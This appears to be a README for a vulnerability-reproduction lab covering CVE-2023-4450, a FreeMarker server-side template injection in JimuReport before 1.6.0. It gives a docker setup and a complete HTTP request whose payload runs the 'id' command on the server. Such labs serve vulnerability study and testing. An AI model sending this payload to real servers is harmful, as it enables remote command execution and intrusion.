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jimureport/CVE-2023-4450/README.md

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+# JeecgBoot JimuReport FreeMarker Server Side Template Injection RCE (CVE-2023-4450)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+JimuReport is a open source visualization report platform under JeecgBoot project. In the JimuReport version prior to 1.6.0, there is a FreeMarker server side template injection (SSTI) issue that is able to execute arbitrary commands.
+
+References:
+
+- <https://github.com/advisories/GHSA-j8h5-8rrr-m6j9>
+- <https://whoopsunix.com/docs/java/named%20module/>
+- <https://www.reajason.eu.org/writing/freemarkersstimemshell/>
+
+## Vulnerable Environment
+
+Execute following command to start a JimuReport 1.6.0 server:
+
+```
+docker compose up -d
+```
+
+Wait a few seconds and you can see the index page of JimuReport on `http://your-ip:8085`.
+
+## Exploit
+
+Send the following request to execute the FreeMarker template `<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`:
+
+```
+POST /jmreport/queryFieldBySql HTTP/1.1
+Host: localhost:8085
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/json
+Content-Length: 100
+
+{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
+```
+
+The `id` command has been executed successfully:
+
+![](1.png)